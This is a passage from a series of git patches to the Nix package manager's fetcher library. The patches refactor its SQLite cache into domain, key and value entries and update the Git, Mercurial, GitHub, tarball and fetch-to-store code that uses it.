"-r", revOrRef, "--template", "{node} {rev} {branch}" })); + runHg({ + "log", "-R", cacheDir, + "-r", input.getRev() ? input.getRev()->gitRev() : *input.getRef(), + "--template", "{node} {rev} {branch}" + })); assert(tokens.size() == 3); - input.attrs.insert_or_assign("rev", Hash::parseAny(tokens[0], HashAlgorithm::SHA1).gitRev()); + auto rev = Hash::parseAny(tokens[0], HashAlgorithm::SHA1); + input.attrs.insert_or_assign("rev", rev.gitRev()); auto revCount = std::stoull(tokens[1]); input.attrs.insert_or_assign("ref", tokens[2]); - if (auto res = getCache()->lookup(*store, getLockedAttrs())) - return makeResult(res->first, std::move(res->second)); + /* Now that we have the rev, check the cache again for a + cached store path. */ + if (auto res = getCache()->lookupExpired(*store, revInfoCacheKey(rev))) + return makeResult(res->infoAttrs, res->storePath); Path tmpDir = createTempDir(); AutoDelete delTmpDir(tmpDir, true); - runHg({ "archive", "-R", cacheDir, "-r", input.getRev()->gitRev(), tmpDir }); + runHg({ "archive", "-R", cacheDir, "-r", rev.gitRev(), tmpDir }); deletePath(tmpDir + "/.hg_archival.txt"); @@ -324,24 +323,17 @@ struct MercurialInputScheme : InputScheme auto storePath = store->addToStore(name, accessor, CanonPath { tmpDir }); Attrs infoAttrs({ - {"rev", input.getRev()->gitRev()}, {"revCount", (uint64_t) revCount}, }); if (!origRev) - getCache()->add( - *store, - unlockedAttrs, - infoAttrs, - storePath, - false); + getCache()->upsert(refToRevCacheKey, {{"rev", rev.gitRev()}}); getCache()->add( *store, - getLockedAttrs(), + revInfoCacheKey(rev), infoAttrs, - storePath, - true); + storePath); return makeResult(infoAttrs, std::move(storePath)); } diff --git a/tests/functional/fetchMercurial.sh b/tests/functional/fetchMercurial.sh index e133df1f8..9f7cef7b2 100644 --- a/tests/functional/fetchMercurial.sh +++ b/tests/functional/fetchMercurial.sh @@ -101,6 +101,7 @@ path4=$(nix eval --impure --refresh --raw --expr "(builtins.fetchMercurial file: [[ $path2 = $path4 ]] echo paris > $repo/hello + # Passing a `name` argument should be reflected in the output path path5=$(nix eval -vvvvv --impure --refresh --raw --expr "(builtins.fetchMercurial { url = \"file://$repo\"; name = \"foo\"; } ).outPath") [[ $path5 =~ -foo$ ]] From aad11f44962aa49a61cf73155d61204ad48e42e3 Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Wed, 10 Apr 2024 20:59:18 +0200 Subject: [PATCH 0456/1251] Simplify the fetcher cache --- src/libfetchers/cache.cc | 186 +++++++++++++++--------------- src/libfetchers/cache.hh | 61 ++++++---- src/libfetchers/fetch-to-store.cc | 9 +- src/libfetchers/git-utils.cc | 7 +- src/libfetchers/github.cc | 14 ++- src/libfetchers/tarball.cc | 43 ++++--- src/libfetchers/unix/git.cc | 14 ++- src/libfetchers/unix/mercurial.cc | 26 ++--- 8 files changed, 187 insertions(+), 173 deletions(-) diff --git a/src/libfetchers/cache.cc b/src/libfetchers/cache.cc index 83962856c..34eb6f32c 100644 --- a/src/libfetchers/cache.cc +++ b/src/libfetchers/cache.cc @@ -11,12 +11,11 @@ namespace nix::fetchers { static const char * schema = R"sql( create table if not exists Cache ( - input text not null, - info text not null, - path text not null, - immutable integer not null, /* obsolete */ + domain text not null, + key text not null, + value text not null, timestamp integer not null, - primary key (input) + primary key (domain, key) ); )sql"; @@ -28,7 +27,7 @@ struct CacheImpl : Cache struct State { SQLite db; - SQLiteStmt add, lookup; + SQLiteStmt upsert, lookup; }; Sync _state; @@ -37,133 +36,134 @@ struct CacheImpl : Cache { auto state(_state.lock()); - auto dbPath = getCacheDir() + "/nix/fetcher-cache-v1.sqlite"; + auto dbPath = getCacheDir() + "/nix/fetcher-cache-v2.sqlite"; createDirs(dirOf(dbPath)); state->db = SQLite(dbPath); state->db.isCache(); state->db.exec(schema); - state->add.create(state->db, - "insert or replace into Cache(input, info, path, immutable, timestamp) values (?, ?, ?, false, ?)"); + state->upsert.create(state->db, + "insert or replace into Cache(domain, key, value, timestamp) values (?, ?, ?, ?)"); state->lookup.create(state->db, - "select info, path, immutable, timestamp from Cache where input = ?"); + "select value, timestamp from Cache where domain = ? and key = ?"); } void upsert( - const Attrs & inAttrs, - const Attrs & infoAttrs) override + std::string_view domain, + const Attrs & key, + const Attrs & value) override { - _state.lock()->add.use() - (attrsToJSON(inAttrs).dump()) - (attrsToJSON(infoAttrs).dump()) - ("") // no path + _state.lock()->upsert.use() + (domain) + (attrsToJSON(key).dump()) + (attrsToJSON(value).dump()) (time(0)).exec(); } - std::optional lookup(const Attrs & inAttrs) override + std::optional lookup( + std::string_view domain, + const Attrs & key) override { - if (auto res = lookupExpired(inAttrs)) - return std::move(res->infoAttrs); + if (auto res = lookupExpired(domain, key)) + return std::move(res->value); return {}; } - std::optional lookupWithTTL(const Attrs & inAttrs) override + std::optional lookupWithTTL( + std::string_view domain, + const Attrs & key) override { - if (auto res = lookupExpired(inAttrs)) { + if (auto res = lookupExpired(domain, key)) { if (!res->expired) - return std::move(res->infoAttrs); - debug("ignoring expired cache entry '%s'", - attrsToJSON(inAttrs).dump()); - } - return {}; - } - - std::optional lookupExpired(const Attrs & inAttrs) override - { - auto state(_state.lock()); - - auto inAttrsJSON = attrsToJSON(inAttrs).dump(); - - auto stmt(state->lookup.use()(inAttrsJSON)); - if (!stmt.next()) { - debug("did not find cache entry for '%s'", inAttrsJSON); - return {}; - } - - auto infoJSON = stmt.getStr(0); - auto locked = stmt.getInt(2) != 0; - auto timestamp = stmt.getInt(3); - - debug("using cache entry '%s' -> '%s'", inAttrsJSON, infoJSON); - - return Result2 { - .expired = !locked && (settings.tarballTtl.get() == 0 || timestamp + settings.tarballTtl < time(0)), - .infoAttrs = jsonToAttrs(nlohmann::json::parse(infoJSON)), - }; - } - - void add( - Store & store, - const Attrs & inAttrs, - const Attrs & infoAttrs, - const StorePath & storePath) override - { - _state.lock()->add.use() - (attrsToJSON(inAttrs).dump()) - (attrsToJSON(infoAttrs).dump()) - (store.printStorePath(storePath)) - (time(0)).exec(); - } - - std::optional> lookup( - Store & store, - const Attrs & inAttrs) override - { - if (auto res = lookupExpired(store, inAttrs)) { - if (!res->expired) - return std::make_pair(std::move(res->infoAttrs), std::move(res->storePath)); - debug("ignoring expired cache entry '%s'", - attrsToJSON(inAttrs).dump()); + return std::move(res->value); + debug("ignoring expired cache entry '%s:%s'", + domain, attrsToJSON(key).dump()); } return {}; } std::optional lookupExpired( - Store & store, - const Attrs & inAttrs) override + std::string_view domain, + const Attrs & key) override { auto state(_state.lock()); - auto inAttrsJSON = attrsToJSON(inAttrs).dump(); + auto keyJSON = attrsToJSON(key).dump(); - auto stmt(state->lookup.use()(inAttrsJSON)); + auto stmt(state->lookup.use()(domain)(keyJSON)); if (!stmt.next()) { - debug("did not find cache entry for '%s'", inAttrsJSON); + debug("did not find cache entry for '%s:%s'", domain, keyJSON); return {}; } - auto infoJSON = stmt.getStr(0); - auto storePath = store.parseStorePath(stmt.getStr(1)); - auto locked = stmt.getInt(2) != 0; - auto timestamp = stmt.getInt(3); + auto valueJSON = stmt.getStr(0); + auto timestamp = stmt.getInt(1); - store.addTempRoot(storePath); - if (!store.isValidPath(storePath)) { + debug("using cache entry '%s:%s' -> '%s'", domain, keyJSON, valueJSON); + + return Result { + .expired = settings.tarballTtl.get() == 0 || timestamp + settings.tarballTtl < time(0), + .value = jsonToAttrs(nlohmann::json::parse(valueJSON)), + }; + } + + void upsert( + std::string_view domain, + Attrs key, + Store & store, + Attrs value, + const StorePath & storePath) + { + /* Add the store prefix to the cache key to handle multiple + store prefixes. */ + key.insert_or_assign("store", store.storeDir); + + value.insert_or_assign("storePath", (std::string) storePath.to_string()); + + upsert(domain, key, value); + } + + std::optional lookupStorePath( + std::string_view domain, + Attrs key, + Store & store) override + { + key.insert_or_assign("store", store.storeDir); + + auto res = lookupExpired(domain, key); + if (!res) return std::nullopt; + + auto storePathS = getStrAttr(res->value, "storePath"); + res->value.erase("storePath"); + + ResultWithStorePath res2(*res, StorePath(storePathS)); + + store.addTempRoot(res2.storePath); + if (!store.isValidPath(res2.storePath)) { // FIXME: we could try to substitute 'storePath'. - debug("ignoring disappeared cache entry '%s'", inAttrsJSON); - return {}; + debug("ignoring disappeared cache entry '%s' -> '%s'", + attrsToJSON(key).dump(), + store.printStorePath(res2.storePath)); + return std::nullopt; } debug("using cache entry '%s' -> '%s', '%s'", - inAttrsJSON, infoJSON, store.printStorePath(storePath)); + attrsToJSON(key).dump(), + attrsToJSON(res2.value).dump(), + store.printStorePath(res2.storePath)); - return Result { - .expired = !locked && (settings.tarballTtl.get() == 0 || timestamp + settings.tarballTtl < time(0)), - .infoAttrs = jsonToAttrs(nlohmann::json::parse(infoJSON)), - .storePath = std::move(storePath) - }; + return res2; + } + + std::optional lookupStorePathWithTTL( + std::string_view domain, + Attrs key, + Store & store) override + { + auto res = lookupStorePath(domain, std::move(key), store); + return res && !res->expired ? res : std::nullopt; } }; diff --git a/src/libfetchers/cache.hh b/src/libfetchers/cache.hh index 5e05d7af8..3295b56bc 100644 --- a/src/libfetchers/cache.hh +++ b/src/libfetchers/cache.hh @@ -19,56 +19,73 @@ struct Cache * Attrs to Attrs. */ virtual void upsert( - const Attrs & inAttrs, - const Attrs & infoAttrs) = 0; + std::string_view domain, + const Attrs & key, + const Attrs & value) = 0; /** * Look up a key with infinite TTL. */ virtual std::optional lookup( - const Attrs & inAttrs) = 0; + std::string_view domain, + const Attrs & key) = 0; /** * Look up a key. Return nothing if its TTL has exceeded * `settings.tarballTTL`. */ virtual std::optional lookupWithTTL( - const Attrs & inAttrs) = 0; + std::string_view domain, + const Attrs & key) = 0; - struct Result2 + struct Result { bool expired = false; - Attrs infoAttrs; + Attrs value; }; /** * Look up a key. Return a bool denoting whether its TTL has * exceeded `settings.tarballTTL`. */ - virtual std::optional lookupExpired( - const Attrs & inAttrs) = 0; + virtual std::optional lookupExpired( + std::string_view domain, + const Attrs & key) = 0; - /* Old cache for things that have a store path. */ - virtual void add( + /** + * Insert a cache entry that has a store path associated with + * it. Such cache entries are always considered stale if the + * associated store path is invalid. + */ + virtual void upsert( + std::string_view domain, + Attrs key, Store & store, - const Attrs & inAttrs, - const Attrs & infoAttrs, + Attrs value, const StorePath & storePath) = 0; - virtual std::optional> lookup( - Store & store, - const Attrs & inAttrs) = 0; - - struct Result + struct ResultWithStorePath : Result { - bool expired = false; - Attrs infoAttrs; StorePath storePath; }; - virtual std::optional lookupExpired( - Store & store, - const Attrs & inAttrs) = 0; + /** + * Look up a store path in the cache. The returned store path will + * be valid, but it may be expired. + */ + virtual std::optional lookupStorePath( + std::string_view domain, + Attrs key, + Store & store) = 0; + + /** + * Look up a store path in the cache. Return nothing if its TTL + * has exceeded `settings.tarballTTL`. + */ + virtual std::optional lookupStorePathWithTTL( + std::string_view domain, + Attrs key, + Store & store) = 0; }; ref getCache(); diff --git a/src/libfetchers/fetch-to-store.cc b/src/libfetchers/fetch-to-store.cc index 4156302c4..2116906ad 100644 --- a/src/libfetchers/fetch-to-store.cc +++ b/src/libfetchers/fetch-to-store.cc @@ -16,20 +16,19 @@ StorePath fetchToStore( // FIXME: add an optimisation for the case where the accessor is // an FSInputAccessor pointing to a store path. + auto domain = "fetchToStore"; std::optional cacheKey; if (!filter && path.accessor->fingerprint) { cacheKey = fetchers::Attrs{ - {"_what", "fetchToStore"}, - {"store", store.storeDir}, {"name", std::string{name}}, {"fingerprint", *path.accessor->fingerprint}, {"method", std::string{method.render()}}, {"path", path.path.abs()} }; - if (auto res = fetchers::getCache()->lookup(store, *cacheKey)) { + if (auto res = fetchers::getCache()->lookupStorePath(domain, *cacheKey, store)) { debug("store path cache hit for '%s'", path); - return res->second; + return res->storePath; } } else debug("source path '%s' is uncacheable", path); @@ -47,7 +46,7 @@ StorePath fetchToStore( name, *path.accessor, path.path, method, HashAlgorithm::SHA256, {}, filter2, repair); if (cacheKey && mode == FetchMode::Copy) - fetchers::getCache()->add(store, *cacheKey, {}, storePath); + fetchers::getCache()->upsert(domain, *cacheKey, store, {}, storePath); return storePath; } diff --git a/src/libfetchers/git-utils.cc b/src/libfetchers/git-utils.cc index 5ecd825b7..ae4facc67 100644 --- a/src/libfetchers/git-utils.cc +++ b/src/libfetchers/git-utils.cc @@ -456,14 +456,15 @@ struct GitRepoImpl : GitRepo, std::enable_shared_from_this { auto accessor = getAccessor(treeHash, false); - fetchers::Attrs cacheKey({{"_what", "treeHashToNarHash"}, {"treeHash", treeHash.gitRev()}}); + auto domain = "treeHashToNarHash"; + fetchers::Attrs cacheKey({{"treeHash", treeHash.gitRev()}}); - if (auto res = fetchers::getCache()->lookup(cacheKey)) + if (auto res = fetchers::getCache()->lookup(domain, cacheKey)) return Hash::parseAny(fetchers::getStrAttr(*res, "narHash"), HashAlgorithm::SHA256); auto narHash = accessor->hashPath(CanonPath::root); - fetchers::getCache()->upsert(cacheKey, fetchers::Attrs({{"narHash", narHash.to_string(HashFormat::SRI, true)}})); + fetchers::getCache()->upsert(domain, cacheKey, fetchers::Attrs({{"narHash", narHash.to_string(HashFormat::SRI, true)}})); return narHash; } diff --git a/src/libfetchers/github.cc b/src/libfetchers/github.cc index 985f2e479..487144925 100644 --- a/src/libfetchers/github.cc +++ b/src/libfetchers/github.cc @@ -225,11 +225,13 @@ struct GitArchiveInputScheme : InputScheme auto cache = getCache(); - Attrs treeHashKey{{"_what", "gitRevToTreeHash"}, {"rev", rev->gitRev()}}; - Attrs lastModifiedKey{{"_what", "gitRevToLastModified"}, {"rev", rev->gitRev()}}; + auto treeHashDomain = "gitRevToTreeHash"; + Attrs treeHashKey{{"rev", rev->gitRev()}}; + auto lastModifiedDomain = "gitRevToLastModified"; + Attrs lastModifiedKey{{"rev", rev->gitRev()}}; - if (auto treeHashAttrs = cache->lookup(treeHashKey)) { - if (auto lastModifiedAttrs = cache->lookup(lastModifiedKey)) { + if (auto treeHashAttrs = cache->lookup(treeHashDomain, treeHashKey)) { + if (auto lastModifiedAttrs = cache->lookup(lastModifiedDomain, lastModifiedKey)) { auto treeHash = getRevAttr(*treeHashAttrs, "treeHash"); auto lastModified = getIntAttr(*lastModifiedAttrs, "lastModified"); if (getTarballCache()->hasObject(treeHash)) @@ -257,8 +259,8 @@ struct GitArchiveInputScheme : InputScheme .lastModified = lastModified }; - cache->upsert(treeHashKey, Attrs{{"treeHash", tarballInfo.treeHash.gitRev()}}); - cache->upsert(lastModifiedKey, Attrs{{"lastModified", (uint64_t) tarballInfo.lastModified}}); + cache->upsert(treeHashDomain, treeHashKey, Attrs{{"treeHash", tarballInfo.treeHash.gitRev()}}); + cache->upsert(lastModifiedDomain, lastModifiedKey, Attrs{{"lastModified", (uint64_t) tarballInfo.lastModified}}); #if 0 if (upstreamTreeHash != tarballInfo.treeHash) diff --git a/src/libfetchers/tarball.cc b/src/libfetchers/tarball.cc index fd59c1132..285e2803c 100644 --- a/src/libfetchers/tarball.cc +++ b/src/libfetchers/tarball.cc @@ -23,21 +23,22 @@ DownloadFileResult downloadFile( { // FIXME: check store - Attrs inAttrs({ - {"type", "file"}, + auto domain = "file"; + + Attrs key({ {"url", url}, {"name", name}, }); - auto cached = getCache()->lookupExpired(*store, inAttrs); + auto cached = getCache()->lookupStorePath(domain, key, *store); auto useCached = [&]() -> DownloadFileResult { return { .storePath = std::move(cached->storePath), - .etag = getStrAttr(cached->infoAttrs, "etag"), - .effectiveUrl = getStrAttr(cached->infoAttrs, "url"), - .immutableUrl = maybeGetStrAttr(cached->infoAttrs, "immutableUrl"), + .etag = getStrAttr(cached->value, "etag"), + .effectiveUrl = getStrAttr(cached->value, "url"), + .immutableUrl = maybeGetStrAttr(cached->value, "immutableUrl"), }; }; @@ -47,7 +48,7 @@ DownloadFileResult downloadFile( FileTransferRequest request(url); request.headers = headers; if (cached) - request.expectedETag = getStrAttr(cached->infoAttrs, "etag"); + request.expectedETag = getStrAttr(cached->value, "etag"); FileTransferResult res; try { res = getFileTransfer()->download(request); @@ -93,13 +94,9 @@ DownloadFileResult downloadFile( /* Cache metadata for all URLs in the redirect chain. */ for (auto & url : res.urls) { - inAttrs.insert_or_assign("url", url); + key.insert_or_assign("url", url); infoAttrs.insert_or_assign("url", *res.urls.rbegin()); - getCache()->add( - *store, - inAttrs, - infoAttrs, - *storePath); + getCache()->upsert(domain, key, *store, infoAttrs, *storePath); } return { @@ -114,12 +111,12 @@ DownloadTarballResult downloadTarball( const std::string & url, const Headers & headers) { - Attrs inAttrs({ - {"_what", "tarballCache"}, + auto domain = "tarball"; + Attrs cacheKey{ {"url", url}, - }); + }; - auto cached = getCache()->lookupExpired(inAttrs); + auto cached = getCache()->lookupExpired(domain, cacheKey); auto attrsToResult = [&](const Attrs & infoAttrs) { @@ -132,19 +129,19 @@ DownloadTarballResult downloadTarball( }; }; - if (cached && !getTarballCache()->hasObject(getRevAttr(cached->infoAttrs, "treeHash"))) + if (cached && !getTarballCache()->hasObject(getRevAttr(cached->value, "treeHash"))) cached.reset(); if (cached && !cached->expired) /* We previously downloaded this tarball and it's younger than `tarballTtl`, so no need to check the server. */ - return attrsToResult(cached->infoAttrs); + return attrsToResult(cached->value); auto _res = std::make_shared>(); auto source = sinkToSource([&](Sink & sink) { FileTransferRequest req(url); - req.expectedETag = cached ? getStrAttr(cached->infoAttrs, "etag") : ""; + req.expectedETag = cached ? getStrAttr(cached->value, "etag") : ""; getFileTransfer()->download(std::move(req), sink, [_res](FileTransferResult r) { @@ -167,7 +164,7 @@ DownloadTarballResult downloadTarball( if (res->cached) { /* The server says that the previously downloaded version is still current. */ - infoAttrs = cached->infoAttrs; + infoAttrs = cached->value; } else { infoAttrs.insert_or_assign("etag", res->etag); infoAttrs.insert_or_assign("treeHash", parseSink->sync().gitRev()); @@ -178,8 +175,8 @@ DownloadTarballResult downloadTarball( /* Insert a cache entry for every URL in the redirect chain. */ for (auto & url : res->urls) { - inAttrs.insert_or_assign("url", url); - getCache()->upsert(inAttrs, infoAttrs); + cacheKey.insert_or_assign("url", url); + getCache()->upsert(domain, cacheKey, infoAttrs); } // FIXME: add a cache entry for immutableUrl? That could allow diff --git a/src/libfetchers/unix/git.cc b/src/libfetchers/unix/git.cc index 45e62ebe1..bb1bff7ab 100644 --- a/src/libfetchers/unix/git.cc +++ b/src/libfetchers/unix/git.cc @@ -427,34 +427,36 @@ struct GitInputScheme : InputScheme uint64_t getLastModified(const RepoInfo & repoInfo, const std::string & repoDir, const Hash & rev) const { - Attrs key{{"_what", "gitLastModified"}, {"rev", rev.gitRev()}}; + auto domain = "gitLastModified"; + Attrs key{{"rev", rev.gitRev()}}; auto cache = getCache(); - if (auto res = cache->lookup(key)) + if (auto res = cache->lookup(domain, key)) return getIntAttr(*res, "lastModified"); auto lastModified = GitRepo::openRepo(repoDir)->getLastModified(rev); - cache->upsert(key, Attrs{{"lastModified", lastModified}}); + cache->upsert(domain, key, {{"lastModified", lastModified}}); return lastModified; } uint64_t getRevCount(const RepoInfo & repoInfo, const std::string & repoDir, const Hash & rev) const { - Attrs key{{"_what", "gitRevCount"}, {"rev", rev.gitRev()}}; + auto domain = "gitRevCount"; + Attrs key{{"rev", rev.gitRev()}}; auto cache = getCache(); - if (auto revCountAttrs = cache->lookup(key)) + if (auto revCountAttrs = cache->lookup(domain, key)) return getIntAttr(*revCountAttrs, "revCount"); Activity act(*logger, lvlChatty, actUnknown, fmt("getting Git revision count of '%s'", repoInfo.url)); auto revCount = GitRepo::openRepo(repoDir)->getRevCount(rev); - cache->upsert(key, Attrs{{"revCount", revCount}}); + cache->upsert(domain, key, Attrs{{"revCount", revCount}}); return revCount; } diff --git a/src/libfetchers/unix/mercurial.cc b/src/libfetchers/unix/mercurial.cc index 783e338bf..42757f2db 100644 --- a/src/libfetchers/unix/mercurial.cc +++ b/src/libfetchers/unix/mercurial.cc @@ -224,13 +224,13 @@ struct MercurialInputScheme : InputScheme if (!input.getRef()) input.attrs.insert_or_assign("ref", "default"); - auto revInfoCacheKey = [&](const Hash & rev) + auto revInfoDomain = "hgRev"; + auto revInfoKey = [&](const Hash & rev) { if (rev.algo != HashAlgorithm::SHA1) throw Error("Hash '%s' is not supported by Mercurial. Only sha1 is supported.", rev.to_string(HashFormat::Base16, true)); return Attrs{ - {"_what", "hgRev"}, {"store", store->storeDir}, {"name", name}, {"rev", input.getRev()->gitRev()} @@ -246,21 +246,21 @@ struct MercurialInputScheme : InputScheme }; /* Check the cache for the most recent rev for this URL/ref. */ - Attrs refToRevCacheKey{ - {"_what", "hgRefToRev"}, + auto refToRevDomain = "hgRefToRev"; + Attrs refToRevKey{ {"url", actualUrl}, {"ref", *input.getRef()} }; if (!input.getRev()) { - if (auto res = getCache()->lookupWithTTL(refToRevCacheKey)) + if (auto res = getCache()->lookupWithTTL(refToRevDomain, refToRevKey)) input.attrs.insert_or_assign("rev", getRevAttr(*res, "rev").gitRev()); } /* If we have a rev, check if we have a cached store path. */ if (auto rev = input.getRev()) { - if (auto res = getCache()->lookupExpired(*store, revInfoCacheKey(*rev))) - return makeResult(res->infoAttrs, res->storePath); + if (auto res = getCache()->lookupStorePath(revInfoDomain, revInfoKey(*rev), *store)) + return makeResult(res->value, res->storePath); } Path cacheDir = fmt("%s/nix/hg/%s", getCacheDir(), hashString(HashAlgorithm::SHA256, actualUrl).to_string(HashFormat::Nix32, false)); @@ -309,8 +309,8 @@ struct MercurialInputScheme : InputScheme /* Now that we have the rev, check the cache again for a cached store path. */ - if (auto res = getCache()->lookupExpired(*store, revInfoCacheKey(rev))) - return makeResult(res->infoAttrs, res->storePath); + if (auto res = getCache()->lookupStorePath(revInfoDomain, revInfoKey(rev), *store)) + return makeResult(res->value, res->storePath); Path tmpDir = createTempDir(); AutoDelete delTmpDir(tmpDir, true); @@ -327,13 +327,9 @@ struct MercurialInputScheme : InputScheme }); if (!origRev) - getCache()->upsert(refToRevCacheKey, {{"rev", rev.gitRev()}}); + getCache()->upsert(refToRevDomain, refToRevKey, {{"rev", rev.gitRev()}}); - getCache()->add( - *store, - revInfoCacheKey(rev), - infoAttrs, - storePath); + getCache()->upsert(revInfoDomain, revInfoKey(rev), *store, infoAttrs, storePath); return makeResult(infoAttrs, std::move(storePath)); } From cceae30aafad32e7ba8301980aabee511e5c05de Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Wed, 10 Apr 2024 21:39:40 +0200 Subject: [PATCH 0457/1251] Combine the domain and key arguments into a single value for convenience --- src/libfetchers/cache.cc | 59 ++++++++++++++----------------- src/libfetchers/cache.hh | 35 +++++++++--------- src/libfetchers/fetch-to-store.cc | 11 +++--- src/libfetchers/git-utils.cc | 7 ++-- src/libfetchers/github.cc | 14 ++++---- src/libfetchers/tarball.cc | 23 +++++------- src/libfetchers/unix/git.cc | 14 ++++---- src/libfetchers/unix/mercurial.cc | 20 +++++------ 8 files changed, 84 insertions(+), 99 deletions(-) diff --git a/src/libfetchers/cache.cc b/src/libfetchers/cache.cc index 34eb6f32c..87a8e4702 100644 --- a/src/libfetchers/cache.cc +++ b/src/libfetchers/cache.cc @@ -51,57 +51,53 @@ struct CacheImpl : Cache } void upsert( - std::string_view domain, - const Attrs & key, + const Key & key, const Attrs & value) override { _state.lock()->upsert.use() - (domain) - (attrsToJSON(key).dump()) + (key.first) + (attrsToJSON(key.second).dump()) (attrsToJSON(value).dump()) (time(0)).exec(); } std::optional lookup( - std::string_view domain, - const Attrs & key) override + const Key & key) override { - if (auto res = lookupExpired(domain, key)) + if (auto res = lookupExpired(key)) return std::move(res->value); return {}; } std::optional lookupWithTTL( - std::string_view domain, - const Attrs & key) override + const Key & key) override { - if (auto res = lookupExpired(domain, key)) { + if (auto res = lookupExpired(key)) { if (!res->expired) return std::move(res->value); debug("ignoring expired cache entry '%s:%s'", - domain, attrsToJSON(key).dump()); + key.first, attrsToJSON(key.second).dump()); } return {}; } std::optional lookupExpired( - std::string_view domain, - const Attrs & key) override + const Key & key) override { auto state(_state.lock()); - auto keyJSON = attrsToJSON(key).dump(); + auto keyJSON = attrsToJSON(key.second).dump(); - auto stmt(state->lookup.use()(domain)(keyJSON)); + auto stmt(state->lookup.use()(key.first)(keyJSON)); if (!stmt.next()) { - debug("did not find cache entry for '%s:%s'", domain, keyJSON); + debug("did not find cache entry for '%s:%s'", key.first, keyJSON); return {}; } auto valueJSON = stmt.getStr(0); auto timestamp = stmt.getInt(1); - debug("using cache entry '%s:%s' -> '%s'", domain, keyJSON, valueJSON); + debug("using cache entry '%s:%s' -> '%s'", key.first, keyJSON, valueJSON); return Result { .expired = settings.tarballTtl.get() == 0 || timestamp + settings.tarballTtl < time(0), @@ -110,29 +106,27 @@ struct CacheImpl : Cache } void upsert( - std::string_view domain, - Attrs key, + Key key, Store & store, Attrs value, const StorePath & storePath) { /* Add the store prefix to the cache key to handle multiple store prefixes. */ - key.insert_or_assign("store", store.storeDir); + key.second.insert_or_assign("store", store.storeDir); value.insert_or_assign("storePath", (std::string) storePath.to_string()); - upsert(domain, key, value); + upsert(key, value); } std::optional lookupStorePath( - std::string_view domain, - Attrs key, + Key key, Store & store) override { - key.insert_or_assign("store", store.storeDir); + key.second.insert_or_assign("store", store.storeDir); - auto res = lookupExpired(domain, key); + auto res = lookupExpired(key); if (!res) return std::nullopt; auto storePathS = getStrAttr(res->value, "storePath"); @@ -143,14 +137,16 @@ struct CacheImpl : Cache store.addTempRoot(res2.storePath); if (!store.isValidPath(res2.storePath)) { // FIXME: we could try to substitute 'storePath'. - debug("ignoring disappeared cache entry '%s' -> '%s'", - attrsToJSON(key).dump(), + debug("ignoring disappeared cache entry '%s:%s' -> '%s'", + key.first, + attrsToJSON(key.second).dump(), store.printStorePath(res2.storePath)); return std::nullopt; } - debug("using cache entry '%s' -> '%s', '%s'", - attrsToJSON(key).dump(), + debug("using cache entry '%s:%s' -> '%s', '%s'", + key.first, + attrsToJSON(key.second).dump(), attrsToJSON(res2.value).dump(), store.printStorePath(res2.storePath)); @@ -158,11 +154,10 @@ struct CacheImpl : Cache } std::optional lookupStorePathWithTTL( - std::string_view domain, - Attrs key, + Key key, Store & store) override { - auto res = lookupStorePath(domain, std::move(key), store); + auto res = lookupStorePath(std::move(key), store); return res && !res->expired ? res : std::nullopt; } }; diff --git a/src/libfetchers/cache.hh b/src/libfetchers/cache.hh index 3295b56bc..1a72162d7 100644 --- a/src/libfetchers/cache.hh +++ b/src/libfetchers/cache.hh @@ -15,28 +15,35 @@ struct Cache virtual ~Cache() { } /** - * Add a value to the cache. The cache is an arbitrary mapping of - * Attrs to Attrs. + * A domain is a partition of the key/value cache for a particular + * purpose, e.g. "Git revision to revcount". + */ + using Domain = std::string_view; + + /** + * A cache key is a domain and an arbitrary set of attributes. + */ + using Key = std::pair; + + /** + * Add a key/value pair to the cache. */ virtual void upsert( - std::string_view domain, - const Attrs & key, + const Key & key, const Attrs & value) = 0; /** * Look up a key with infinite TTL. */ virtual std::optional lookup( - std::string_view domain, - const Attrs & key) = 0; + const Key & key) = 0; /** * Look up a key. Return nothing if its TTL has exceeded * `settings.tarballTTL`. */ virtual std::optional lookupWithTTL( - std::string_view domain, - const Attrs & key) = 0; + const Key & key) = 0; struct Result { @@ -49,8 +56,7 @@ struct Cache * exceeded `settings.tarballTTL`. */ virtual std::optional lookupExpired( - std::string_view domain, - const Attrs & key) = 0; + const Key & key) = 0; /** * Insert a cache entry that has a store path associated with @@ -58,8 +64,7 @@ struct Cache * associated store path is invalid. */ virtual void upsert( - std::string_view domain, - Attrs key, + Key key, Store & store, Attrs value, const StorePath & storePath) = 0; @@ -74,8 +79,7 @@ struct Cache * be valid, but it may be expired. */ virtual std::optional lookupStorePath( - std::string_view domain, - Attrs key, + Key key, Store & store) = 0; /** @@ -83,8 +87,7 @@ struct Cache * has exceeded `settings.tarballTTL`. */ virtual std::optional lookupStorePathWithTTL( - std::string_view domain, - Attrs key, + Key key, Store & store) = 0; }; diff --git a/src/libfetchers/fetch-to-store.cc b/src/libfetchers/fetch-to-store.cc index 2116906ad..96743cb52 100644 --- a/src/libfetchers/fetch-to-store.cc +++ b/src/libfetchers/fetch-to-store.cc @@ -16,17 +16,16 @@ StorePath fetchToStore( // FIXME: add an optimisation for the case where the accessor is // an FSInputAccessor pointing to a store path. - auto domain = "fetchToStore"; - std::optional cacheKey; + std::optional cacheKey; if (!filter && path.accessor->fingerprint) { - cacheKey = fetchers::Attrs{ + cacheKey = fetchers::Cache::Key{"fetchToStore", { {"name", std::string{name}}, {"fingerprint", *path.accessor->fingerprint}, {"method", std::string{method.render()}}, {"path", path.path.abs()} - }; - if (auto res = fetchers::getCache()->lookupStorePath(domain, *cacheKey, store)) { + }}; + if (auto res = fetchers::getCache()->lookupStorePath(*cacheKey, store)) { debug("store path cache hit for '%s'", path); return res->storePath; } @@ -46,7 +45,7 @@ StorePath fetchToStore( name, *path.accessor, path.path, method, HashAlgorithm::SHA256, {}, filter2, repair); if (cacheKey && mode == FetchMode::Copy) - fetchers::getCache()->upsert(domain, *cacheKey, store, {}, storePath); + fetchers::getCache()->upsert(*cacheKey, store, {}, storePath); return storePath; } diff --git a/src/libfetchers/git-utils.cc b/src/libfetchers/git-utils.cc index ae4facc67..d4ba1a91d 100644 --- a/src/libfetchers/git-utils.cc +++ b/src/libfetchers/git-utils.cc @@ -456,15 +456,14 @@ struct GitRepoImpl : GitRepo, std::enable_shared_from_this { auto accessor = getAccessor(treeHash, false); - auto domain = "treeHashToNarHash"; - fetchers::Attrs cacheKey({{"treeHash", treeHash.gitRev()}}); + fetchers::Cache::Key cacheKey{"treeHashToNarHash", {{"treeHash", treeHash.gitRev()}}}; - if (auto res = fetchers::getCache()->lookup(domain, cacheKey)) + if (auto res = fetchers::getCache()->lookup(cacheKey)) return 